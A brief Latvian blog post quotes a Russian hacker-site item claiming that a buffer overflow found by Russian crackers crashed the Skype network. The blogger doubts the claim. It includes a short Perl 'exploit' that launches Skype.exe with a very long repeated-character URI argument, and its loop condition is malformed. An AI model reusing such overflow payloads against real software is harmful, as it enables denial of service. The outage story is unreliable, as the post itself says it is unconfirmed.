Atoms blog About all, About nothing, About life, About computers

Skype problēmu cēlonis

Vismāz tā šeit: www.xakep.ru cik no tā patiesība nezinu.

Причиной вчерашнего падения сети Skype стали исследования русских взломщиков, сообщил нам один из читателей.

В ходе поиска локального переполнения буфера была обнаружена возможность послать длинную строку на сервер и переполнить его буфер, в результате чего он падает. Его место занимает другой сервер из P2P сети и так же на нем возникает ошибка и так далее. В результате за несколько часов вся сеть Skype пришла к отказу в обслуживании и команда разработчиков была вынуждена отключить аутентификацию.

Код эксплоита выглядит так:

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!

for ($i=256; $i>xCCCCC; $i=$i+256)
{
$eot='AAAA' x $i;
call_sp();
}
exit;

sub call_sp()
{
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
system("$str");
}